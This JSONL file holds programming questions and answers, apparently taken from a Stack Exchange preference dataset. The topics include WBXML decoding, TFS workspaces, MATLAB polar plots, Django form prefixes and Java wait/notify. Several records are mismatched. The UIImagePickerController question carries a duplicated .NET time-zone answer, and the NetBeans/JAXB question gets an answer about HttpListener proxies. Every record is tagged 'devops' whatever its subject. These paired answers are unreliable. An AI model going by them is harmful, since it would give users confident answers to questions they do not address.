{"id": "hf_5af937da5200", "question": "<p>I'm trying to decode a WBXML encoded SyncML message from a Nokia N95.\nMy first attempt was to use the python pywbxml module which wraps calls to libwbxml. Decoding the message with this gave a lot of &lt;unknown&gt; tags and a big chunk of binary within a &lt;Collection&gt; tag. I tried running the contents of the &lt;Collection&gt; through by itself but it failed. Is there something I'm missing?</p>\n\n<p>Also, does anyone know of a pure python implementation of a wbxml parser? Failing that a command line or online tool to decode these messages would be useful -- it would make it a lot easier for me to write my own...</p>\n", "question_body": "", "answer": "Funnily enough I've been working on the same problem.  I'm about halfway through writing my own pure-Python WBXML parser, but it's not yet complete enough to be useful, and I have very little time to work on it right now.\nThose <Unknown> tags might be because pywbxml / libwbxml doesn't have the right tag vocabulary loaded.  WBXML represents tags by an index number to avoid transmitting the same tag name hundreds of times, and the table that maps index numbers to tag names has to be supplied separately from the WBXML document itself.  From a vague glance at\nthe libwbxml source\nit seems like libwbxml has a bunch of tag tables hard coded.  It has tables for SyncML 1.0-1.2; I think my Nokia E71 sends SyncML 1.3 (if so, your N95 probably does too), which it looks like libwbxml doesn't support yet.\nGetting it to work might be as simple as adding a SyncML 1.3 table to libwbxml.  That said, last time I tried, pywbxml doesn't compile against the vanilla libwbxml source, so you have to apply some patches first... so \"simple\" may be a relative term.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:47.351851"}
{"id": "hf_f2a8ef81fefd", "question": "<p>When creating a new build in Team Foundation Server, I get the following error when attempting to run the new build:</p>\n\n<blockquote>\n  <p>The path\n  C:\\Build\\ProductReleases\\FullBuildv5.4.2x\\Sources\n  is already mapped to workspace\n  BuildServer_23.</p>\n</blockquote>\n\n<p>I am unable to see a workspace by that name in the workspaces dialog.</p>\n", "question_body": "", "answer": "Use the command line utility\nTF - Team Foundation Version Control Tool\n(\ntf\n).\nYou can get a list of all workspaces by bringing up a\nVisual Studio Command Prompt\nthen changing to your workspace folder and issuing the following commands:\n```\n```\nC:\\YourWorkspaceFolder>tf workspaces /owner:*\n```\n```\nYou should see your problem workspace in the list as well as it's owner.\nYou can delete the workspace with the following command:\n```\n```\nC:\\YourWorkspaceFolder>tf workspace /delete /server:BUILDSERVER WORKSPACENAME;OWNERNAME\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:47.403041"}
{"id": "hf_9b30d6182a66", "question": "<p>I could write myself a helper class that does this when given a functor, but I was wondering if there's a better approach, or if there's something already in the standard library (seems like there should be).</p>\n\n<p>Answers I've found on StackOverflow are all for C# which doesn't help me.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "No - there isn't. Apache\n```\ncommons-collections\n```\nhas predicates for this sort of thing but the resultant code (using anonymous inner classes) is usually ugly and a pain to debug.\nJust use a basic\nfor-loop\nuntil they bring\nclosures\ninto the language", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:47.438089"}
{"id": "hf_0136c494c447", "question": "<p>I'm using polar plots (POLAR(THETA,RHO)) in MATLAB.</p>\n\n<p>Is there an easy way to fix the range for the radial axis to say, 1.5?</p>\n\n<p>I'm looking for something analogous to the xlim, ylim commands for cartesian axes. Haven't found anything in the docs yet.</p>\n", "question_body": "", "answer": "Here's how I was able to do it.\nThe MATLAB polar plot (if you look at the Handle Graphics options available) does not have anything like xlim or ylim.  However, I realized that the first thing plotted sets the range, so I was able to plot a function with radius range [-.5 .5] on a [-1 1] plot as follows:\n```\n```\ntheta  = linspace(0,2*pi,100);\nr      = sin(2*theta) .* cos(2*theta);\nr_max  = 1;\nh_fake = polar(theta,r_max*ones(size(theta)));\nhold on;\nh      = polar(theta, r);\nset(h_fake, 'Visible', 'Off');\n```\n```\nThat doesn't look very good and hopefully there's a better way to do it, but it works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:47.508710"}
{"id": "hf_8a81ff049ec0", "question": "<p>I'm trying to drag a <code>CALayer</code> in an iOS app.</p>\n\n<p>As soon as I change its position property it tries to animate to the new position and flickers all over the place:</p>\n\n<pre><code> layer.position = CGPointMake(x, y)\n</code></pre>\n\n<p>How can I move <code>CALayers</code> instantly? I can't seem to get my head around the Core Animation API.</p>\n", "question_body": "", "answer": "You want to wrap your call in the following:\n```\n```\n[CATransaction begin]; \n[CATransaction setValue: (id) kCFBooleanTrue forKey: kCATransactionDisableActions];\nlayer.position = CGPointMake(x, y);\n[CATransaction commit];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:47.579044"}
{"id": "hf_dc2e26b7caa6", "question": "<p>I am having trouble understanding how the System Registry can help me convert a DateTime object into the a corresponding TimeZone.  I have an example that I've been trying to reverse engineer but I just can't follow the one critical step in which the UTCtime is offset depending on Daylight Savings Time.</p>\n\n<p>I am using .NET 3.5 (thank god) but It's still baffling me.</p>\n\n<p>Thanks</p>\n\n<p>EDIT: Additional Information: This question was for use in a WPF application environment. The code snippet I left below took the answer example a step further to get exactly what I was looking for. </p>\n", "question_body": "", "answer": "You can use DateTimeOffset to get the UTC offset so you shouldn't need to dig into the registry for that information.\nTimeZone.CurrentTimeZone returns additional time zone data, and TimeZoneInfo.Local has meta data about the time zone (such as whether it supports daylight savings, the names for its various states, etc).\nUpdate: I think this specifically answers your question:\n```\n```\nvar tzi = TimeZoneInfo.FindSystemTimeZoneById(\"Pacific Standard Time\");\nvar dto = new DateTimeOffset(2008, 10, 22, 13, 6, 0, tzi.BaseUtcOffset);\nConsole.WriteLine(dto);\nConsole.ReadLine();\n```\n```\nThat code creates a DateTime at -8 offset.  The default installed time zones are\nlisted on MSDN\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:47.601401"}
{"id": "hf_585fff9485f4", "question": "<p>I have a UIImagePickerController as one view in a TabBar setup.  Is it possible to tell the UIImagePickerController to not show the Cancel button in the top navigation bar when browsing photos libraries?</p>\n", "question_body": "", "answer": "You can use DateTimeOffset to get the UTC offset so you shouldn't need to dig into the registry for that information.\nTimeZone.CurrentTimeZone returns additional time zone data, and TimeZoneInfo.Local has meta data about the time zone (such as whether it supports daylight savings, the names for its various states, etc).\nUpdate: I think this specifically answers your question:\n```\n```\nvar tzi = TimeZoneInfo.FindSystemTimeZoneById(\"Pacific Standard Time\");\nvar dto = new DateTimeOffset(2008, 10, 22, 13, 6, 0, tzi.BaseUtcOffset);\nConsole.WriteLine(dto);\nConsole.ReadLine();\n```\n```\nThat code creates a DateTime at -8 offset.  The default installed time zones are\nlisted on MSDN\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:47.625238"}
{"id": "hf_caec65dc7b4c", "question": "<p>I have SQL query, which is working nice on Oracle and MSSQL. Now I'm trying this on PostgreSQL and it gives a strange exception: <code>org.postgresql.util.PSQLException: ERROR: missing FROM-clause entry for table \"main\"</code></p>\n\n<p>Here is the query: </p>\n\n<pre><code>SELECT *\nFROM \"main\" main\n     INNER JOIN \"something_link\" something_link ON main.\"id\" = something_link.\"mainid\"\n     INNER JOIN \"something\" somehting ON something_link.\"somethingid\" = something.\"id\"\n     INNER JOIN \"type\" type ON something.\"typeid\" = type.\"id\"\n</code></pre>\n\n<p>This is quite simple query and I can't see why it is not working on Windows XP SP2, PostgreSQL 8.3?</p>\n", "question_body": "", "answer": "somehting=>something\n```\npostgres=# create database test\npostgres-# ;\nCREATE DATABASE\n\npostgres=# \\c test\nYou are now connected to database \"test\".\n\ntest=# select version();\n                                            version                                            \n-----------------------------------------------------------------------------------------------\n PostgreSQL 8.3.3 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu7)\n\ntest=# create table main(id int);\nCREATE TABLE\n\ntest=# create table something_link(mainid int);\nCREATE TABLE\n\ntest=# create table something(id int);\nCREATE TABLE\n\ntest=# create table type(id int);\nCREATE TABLE\n\ntest=# alter table something add column typeid int;\nALTER TABLE\n\ntest=# SELECT *\ntest-# FROM \"main\" main\ntest-#      INNER JOIN \"something_link\" something_link ON main.\"id\" = something_link.\"mainid\"\ntest-#      INNER JOIN \"something\" somehting ON something_link.\"somethingid\" = something.\"id\"\ntest-#      INNER JOIN \"type\" type ON something.\"typeid\" = type.\"id\"\ntest-# ;\nERROR:  column something_link.somethingid does not exist\nLINE 4:      INNER JOIN \"something\" somehting ON something_link.\"som...\n                                                 ^\ntest=# alter table something_link add column somethingid int;\nALTER TABLE\n\ntest=# SELECT *                                              \nFROM \"main\" main\n     INNER JOIN \"something_link\" something_link ON main.\"id\" = something_link.\"mainid\"\n     INNER JOIN \"something\" *somehting* ON something_link.\"somethingid\" = something.\"id\"\n     INNER JOIN \"type\" type ON something.\"typeid\" = type.\"id\"\n;\n\nERROR:  invalid reference to FROM-clause entry for table \"something\"\nLINE 4: ...hing\" somehting ON something_link.\"somethingid\" = something....\n                                                             ^\nHINT:  Perhaps you meant to reference the table alias \"somehting\".\n\ntest=# SELECT *\nFROM \"main\" main\n     INNER JOIN \"something_link\" something_link ON main.\"id\" = something_link.\"mainid\"\n     INNER JOIN \"something\" something ON something_link.\"somethingid\" = something.\"id\"\n     INNER JOIN \"type\" type ON something.\"typeid\" = type.\"id\"\n;\n\n id | mainid | somethingid | id | typeid | id \n\n----+--------+-------------+----+--------+----\n\n(0 rows)\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:47.672351"}
{"id": "hf_a492912939c7", "question": "<p>I am currently working for a company that has a website running mysql/php (all tables are also using the MYISAM table type).</p>\n\n<p>We would like to implement replication, but I have read in the mysql docs and elsewhere on the internet that this will lock the tables when doing the writes to the binary log (which the slave dbs will eventually read from).</p>\n\n<p>Will these locks cause a problem on a live site that is fairly write-heavy?  Also, is there a way to enable replication without having to lock the tables?</p>\n", "question_body": "", "answer": "If you change your table types to innodb, row level locking is used.  Also, your replication will be more stable, as updates will be transactional.  MyISAM replication is a long-term pain.\nBe sure that your servers are version-matched, and ALWAYS be sure to shut down the master before shutting down the slaves.  You can bring the master up again immediately after shutting down the slaves, but you do have to take it down.\nAlso, make sure you use appropriate autoextend options for InnoDB.  And, while you're at it, you'll probably want to migrate away from float and double to 'decimal' (which means mysql 5.1.)  That will save you some replication headaches.\nThat's probably a bit more than you asked for.  Enjoy.\nP.s., yes the myisam locks can cause problems.  Also, innodb is slower than myisam, unless myisam is blocking for a huge select.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:47.725665"}
{"id": "hf_3e039df72353", "question": "<p>When I first load data into a Silverlight DataGrid control, how can I make the screen look exactly as if the user had just clicked the header of the first column?  In other words, the data should be sorted in ascending order according to that column's values, AND the little sort arrow should be displayed in the first column's header.</p>\n\n<p>Assuming that's possible, can I also make it look as if the user had clicked the first column and then shift-clicked the second?  In other words, can I programatically apply a two-part sort and have the screen look as if the user had done it?</p>\n", "question_body": "", "answer": "I needed to do this as well, and looked hard and deep at whether the DataGrid could do this.\nThere IS in fact an appropriate method on the DataGridColumnHeader class, namely InvokeProcessSort, but it's internal and not surfaced anywhere else in the DataGrid classes.\nAll I've been able to do is pre-sort the data just before I bind it. I'm using a custom data collection that implements ICollectionView as well as ObservableCollection<>, and this works OK - but it's not optimal, and a load of work that's not necessarily needed.\nAlso, providing a pre-sorted collection means the grid doesn't show the sort marker.\nI'll raise this as an issue on the DataGrid bug-tracker - this is a fairly major omission that'd be quite easy to fix - MS just needs to expose appropriate methods on DataGridColumn and DataGrid classes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:47.796987"}
{"id": "hf_cc5268313f73", "question": "<p>As every Haxe developer knows, you could use <code>haxe.Timer.delayed()</code> to delay function call for some time. But this function doesn't exist for Neko at all. Is there a way to achieve the same results?</p>\n", "question_body": "", "answer": "Have to check it first but\n```\n```\nfunction delayed(f, time) {\n   neko.vm.Thread.create(function() {\n       neko.Sys.sleep(time);\n       f();\n   });\n}\n```\n```\nmight be the closest thing possible. The only cons is that application becomes multi threaded which could lead to serious problems.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:47.845283"}
{"id": "hf_eca1a0ef370e", "question": "<p>Someone at work just asked for the reasoning behind having to wrap a wait inside a synchronized.</p>\n\n<p>Honestly I can't see the reasoning.  I understand what the javadocs say--that the thread needs to be the owner of the object's monitor, but why?  What problems does it prevent?  (And if it's actually necessary, why can't the wait method get the monitor itself?)</p>\n\n<p>I'm looking for a fairly in-depth why or maybe a reference to an article.  I couldn't find one in a quick google.</p>\n\n<p>Oh, also, how does thread.sleep compare?</p>\n\n<p>edit: Great set of answers--I really wish I could select more than one because they all helped me understand what was going on.</p>\n", "question_body": "", "answer": "If the object does not own the object monitor when it calls Object.wait(), it will not be able to access the object to setup a notify listener until the the monitor is released. Instead, it will be treated as a thread attempting to access a method on a synchronized object.\nOr to put it another way, there is no difference between:\n```\n```\npublic void doStuffOnThisObject()\n```\n```\nand the following method:\n```\n```\npublic void wait()\n```\n```\nBoth methods will be blocked until the object monitor is released. This is a feature in Java to prevent the state of an object from being updated by more than one thread. It simply has unintended consequences on the wait() method.\nPresumably, the wait() method is not synchronized because that could create situations where the Thread has multiple locks on the object. (See\nJava Language Specifications/Locking\nfor more info on this.) Multiple locks are a problem because the wait() method will only undo one lock. If the method were synchronized, it would guarantee that only the method's lock would be undone while still leaving a potential outer lock undone. This would create a deadlock condition in the code.\nTo answer your question on Thread.sleep(), Thread.sleep() does not guarantee that whatever  condition you are waiting on has been met. Using Object.wait() and Object.notify() allows a programmer to manually implement blocking. The threads will unblock once a notify is sent that a condition has been met. e.g. A read from disk has finished and data can be processed by the thread. Thread.sleep() would require the programmer to poll if the condition has been met, then fall back to sleep if it has not.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:47.880904"}
{"id": "hf_db7106d6b993", "question": "<p>I need a good stemming algorithm for a project I'm working on. It was suggested that I look at the Porter Stemmer. When I checked out the page on the Porter stemmer I found that it is deprecated now in favor of the \"Snowball\" stemmer.</p>\n\n<p>I need a good stemmer, but I can't really spend significant time implementing (or optimizing) my own. What is the best \"off the shelf\", freely available stemmer? Are there any non-free stemmers available for a reasonable price? Or, is the Snowball stemmer my best bet?</p>\n", "question_body": "", "answer": "It really depends on how you're planning to apply it.  The Natural Language Toolkit (\nhttp://nltk.sourceforge.net\n) has a number of stemmers implemented in it that should be able to handle most applications.  I prefer the Morphy stemmer.\nOf course, it's available in Python, so if you're working with another language, you can always look through the code to glean the algorithm and transfer it to your language of choice.  Python is highly readable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:47.963836"}
{"id": "hf_1cc37d076891", "question": "<p>Say I have a form like:</p>\n\n<pre><code>class GeneralForm(forms.Form):\n    field1 = forms.IntegerField(required=False)\n    field2 = forms. IntegerField(required=False)\n</code></pre>\n\n<p>And I want to show it twice on a page within one form tag each time with a different prefix e.g.,:</p>\n\n<pre><code>rest of page ...\n&lt;form ..&gt;\nGeneralForm(data,prefix=\"form1\").as_table()\nGeneralForm(data,prefix=\"form2\").as_table()\n&lt;input type=\"submit\" /&gt;\n&lt;/form&gt;\nrest of page ...\n</code></pre>\n\n<p>When the user submits this, how do I get the submitted form back into two separate forms to do validation, and redisplay it?</p>\n\n<p><a href=\"http://docs.djangoproject.com/en/dev/ref/forms/api/#prefixes-for-forms\" rel=\"noreferrer\">This was the only documentation</a> I could find and it's peckish.</p>\n", "question_body": "", "answer": "You process each form as you normally would, ensuring that you create instances which have the same prefixes as those used to generate the form initially.\nHere's a slightly awkward example using the form you've given, as I don't know what the exact use case is:\n```\n```\ndef some_view(request):\n    if request.method == 'POST':\n        form1 = GeneralForm(request.POST, prefix='form1')\n        form2 = GeneralForm(request.POST, prefix='form2')\n        if all([form1.is_valid(), form2.is_valid()]):\n            pass # Do stuff with the forms\n    else:\n        form1 = GeneralForm(prefix='form1')\n        form2 = GeneralForm(prefix='form2')\n    return render_to_response('some_template.html', {\n        'form1': form1,\n        'form2': form2,\n    })\n```\n```\nHere's some real-world sample code which demonstrates processing forms using the prefix:\nhttp://collingrady.wordpress.com/2008/02/18/editing-multiple-objects-in-django-with-newforms/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:47.999421"}
{"id": "hf_741bf1532ed9", "question": "<p>I seem to remember reading that it's possible to declare taglib directives such as:</p>\n\n<pre><code>&lt;%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %&gt;\n</code></pre>\n\n<p>in web.xml. This eliminates the need to duplicate this directive in every JSP file where the taglib is used. Could someone tell me <em>how</em> these directives can be added to web.xml?</p>\n", "question_body": "", "answer": "Sorry, you're slightly mistaken.  If a page uses a taglib, you have to have a taglib directive for it on the page. You could place the common taglib directives in an include file that all of your pages include with an include directive, but at compile time the taglib directive has to be there.\nI prefer to NOT have the taglib elements in the web.xml, and instead have the taglib directive specify the URI value that is used in the \"uri\" element in the TLD that is inside the taglib jar file in your WEB-INF/lib.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.023450"}
{"id": "hf_e70ccd2ce554", "question": "<p>In Django templates, is there a variable in the context (e.g. <code>{{ BASE\\_URL }}</code>, <code>{{ ROOT\\_URL }}</code>, or <code>{{ MEDIA\\_URL }}</code> that one can use to link to the <code>home</code> url of a project?</p>\n\n<p>I.e. if Django is running in the root of a project, the variable (let's call it R) <code>{{ R }}</code> in a template would be <code>/</code>. If the root url is a sub-folder <code>http://host/X/</code> the variable <code>{{ R }}</code> would be <code>/X/</code> (or <code>http://host/X/</code>).</p>\n\n<p>It seems painfully simple, but I can't find an answer. :) Thank you!</p>\n", "question_body": "", "answer": "I always use something like\n```\n<a href=\"/\">\n```\n(assuming your home is at the root, of course). I seem to recall looking this up once, and couldn't find a Django variable for this path; at any rate,\n```\n/\n```\nseemed pretty easy, anyway.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.058647"}
{"id": "hf_992f08145d74", "question": "<p>I am dabbling in the world of web services and I've been making a simple web service which mimics mathematical operations. Firstly it was simple, passing in two integers and then a binary operator would be applied to these (plus, minus etc) depending on the method called.</p>\n\n<p>Then I decided to make things a little more complex and started passing objects around, but then I discovered that a web service only exposes the data side of the class and not the functional side.</p>\n\n<p>I was told that a good way to deal with this is to make the class on the service side a partial class (this side of the class encapsulating form) and on the client side have another partial class (where this side of the class encapsulates functionality). This seems like an elegant way of doing things..</p>\n\n<p>So, I have set up two classes as described above, but it doesn't seem to be working as I was told.</p>\n\n<p>Is what I am attempting possible? If so, where am I going wrong? </p>\n", "question_body": "", "answer": "Not with partial classes. A partial class is a syntax construct that gives you the ability to have different parts of the class in different source files. However, all parts of the  partial class are ultimately compiled into the same binary.\nYou could use extension methods to add functionality to your class that represents the data contract.\nYou could also try implementing the class in a shared assembly and use the svcutil.exe /reference to get it imported in the client proxy instead of having a brand new declaration in the web service namespace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.094897"}
{"id": "hf_4a3ad2e22d54", "question": "<p>I am not very good with Regex but I am learning.</p>\n<p>I would like to remove some html tag by the class name. This is what I have so far :</p>\n<pre><code>&lt;div class=&quot;footer&quot;.*?&gt;(.*?)&lt;/div&gt;\n</code></pre>\n<p>The first .*? is because it might contain other attribute and the second is it might contain other html stuff.</p>\n<p>What am I doing wrong? I have try a lot of set without success.</p>\n<h3>Update</h3>\n<p>Inside the DIV it can contain multiple line and I am playing with Perl regex.</p>\n", "question_body": "", "answer": "Partly depends on the exact regex engine you are using - which language etc.   But one possibility is that you need to escape the quotes and/or the forward slash.  You might also want to make it case insensitive.\n```\n```\n<div class=\\\"footer\\\".*?>(.*?)<\\/div>\n```\n```\nOtherwise please say what language/platform you are using - .NET, java, perl ...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.142134"}
{"id": "hf_e843c98f0f2d", "question": "<p>I've been spoiled by Visual studio 2008 and Eclipse and have to do a little maintainence work on a VB6 app.</p>\n\n<p>Does anyone know of an alternative/ updated IDE for VB6?</p>\n\n<p>A rewrite is not an option I'm just fixing a couple of bugs and it's a big codebase.</p>\n", "question_body": "", "answer": "Some time ago I did some research and nothing came up. I don't believe you have have any real alternatives...\nBut you could consider checking this out:\nhttp://www.axtools.com/products/cs2k3vb_screenshots.htm\nIt looks quite promising.\nAddin for Visual Basic 6.0 packing more than 50 professional tools and\n  assistants. The Code View Assistant\n  enriches the standard VB6 code editor\n  with branch lines for conditional\n  statements, end-of-line details, and\n  hotspots. Moreover, the Code Analyzer\n  pinpoints dead and slow code, the\n  SmartComplete and AutoText tools help\n  you write code with a proficiency you\n  never dreamed of, while the Enhanced\n  Project Explorer with expanding code\n  and Code Flow View can make accessing\n  a code location the speedy action you\n  always needed. Other tools: Extended\n  Find, Find References, Designer\n  Explorer, Code Formatter, TabOrder\n  Designer (with auto-order), HotKey\n  Designer, Error Handlers Inserter,\n  Exception Protection, Spelling\n  Checker, Strings Reviewer, Comments\n  Conformity Checker, Task List Manager,\n  Code Snippets Manager, Naming\n  Standards Manager.Version 2007 adds\n  Designer Analyzer, User Interface\n  Standard Properties Manager, Library\n  Explorer including Designer Snippets,\n  many enhancements in most subsystems.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.166380"}
{"id": "hf_add247ba2383", "question": "<p>I would like to update a dll for a server process without stopping the service. How do I do that?\nA bit like how asp.net automatically picks up new dlls placed in the bin folder.</p>\n", "question_body": "", "answer": "Asp.Net uses a technique called\nshadow copy\nIf you copy an updated dll into an application’s bin subdirectory, the ASP.NET runtime recognizes there is new code to execute. Since ASP.NET cannot swap the dll into the existing AppDomain , it starts a new AppDomain. The old application domain is “drain stopped”, that is, existing requests are allowed to finish executing, and once they are all finished the AppDomain can unload. The new AppDomain starts with the new code and begins taking all new requests.\nTypically, when a dll loads into a process, the process locks the dll and you cannot overwrite the file on disk. However, AppDomains have a feature known as Shadow Copy that allows assemblies to remain unlocked and replaceable on disk.\nThe runtime initializes ASP.NET with Shadow Copy enabled for the bin directory. The AppDomain will copy any dll it needs from the bin directory to a temporary location before locking and loading the dll into memory. Shadow Copy allows us to overwrite any dll in the bin directory during an update without taking the web application offline.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.202684"}
{"id": "hf_52cc376cb91a", "question": "<p>How can I transform a time value into YYYY-MM-DD format in Java?</p>\n\n<pre><code>long lastmodified = file.lastModified();\nString lasmod =  /*TODO: Transform it to this format YYYY-MM-DD*/\n</code></pre>\n", "question_body": "", "answer": "Something like:\n```\n```\nDate lm = new Date(lastmodified);\nString lasmod = new SimpleDateFormat(\"yyyy-MM-dd\").format(lm);\n```\n```\nSee the javadoc for\nSimpleDateFormat\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.274636"}
{"id": "hf_d980a37358fa", "question": "<p>I have a web service in C# and would like to have a nested inner class, that abstracts away the session collection, something like this: </p>\n\n<pre>\n<code>\npublic class Service : System.Web.Services.WebService\n{\n    [WebMethod]\n    public string Foo(string ticket)\n    {\n        SessionPool.getSession(ticket);\n    }\n\n    private class SessionPool \n    {\n        public static Session getSession(string ticket)\n        {\n            // this is what i want to do, but I can't access Context\n            return (Session)Context.Session[ticket];\n        }\n    }\n}\n</code>\n</pre>\n\n<p>Is it possible to access the HTTP context of the WebService class via a nested class? If not, is there way I can store the reference to it?</p>\n", "question_body": "", "answer": "```\n```\nSystem.Web.HttpContext.Current\n```\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.347780"}
{"id": "hf_c0990b4d2579", "question": "<p>QA tester was reading HTML/JS code to write a functional test of a web form, and saw:</p>\n\n<pre><code>if (form_field == empty)\n{\n...do stuff for empty field\n}\nelse if (form_field != empty)\n{\n...do stuff for non-empty field\n}\nelse\n{\n...do stuff that will never be done\n}\n</code></pre>\n\n<p>After a couple embarrassing attempts, tester realized that they couldn't trigger the alert strings hidden in the third block.</p>\n\n<p>Things I'm wondering are if this Is this problem more or less language specific (can non-JS people learn lessons here?) and are there legitimate reasons code ended up this way?</p>\n\n<p>How can I find/address the problem?</p>\n", "question_body": "", "answer": "I don't believe that this problem is at all language specific.  You could construct similar (flawed) conditional statements in a wide variety of other languages.\nAlso, I don't think that there is a legitimate reason for the conditional statement to be structured this way.  As you state in the comment, the statements in the third block will just never be done.\nYou could probably find mistakes like this most effectively with code review.  However, since that requires quite a bit of time from at least one developer, you may be better served by developing quality unit tests and inspecting code coverage.  In this case, you probably would have noticed that the third portion of the conditional statement was never used.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.433158"}
{"id": "hf_3a0c2019e199", "question": "<p>We have a netbeans project that has an xsd that we use to create a wsdl and we use the wsdl to create a webservice.  Since we are using types in our xsd jaxb is used and one of our webservice methods looks like this:    </p>\n\n<pre><code>public void someMethod( org.netbeans.xml.schema.line.Line x )...\n</code></pre>\n\n<p>So that leaves us a problem with subversion since the Line objects are generated by netbeans.  So we want to do is either tell netbeans to place the files inside of the project?  Or tell netbeans that we will generate the jaxb code and that they should use our classes when the webservice calls are processed?  How can we accomplish one of these, what are some other alternatives?</p>\n", "question_body": "", "answer": "You can build one with the\n```\nHttpListener\n```\nclass to listen for incoming requests and the\n```\nHttpWebRequest\n```\nclass to relay the requests.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:48.558642"}
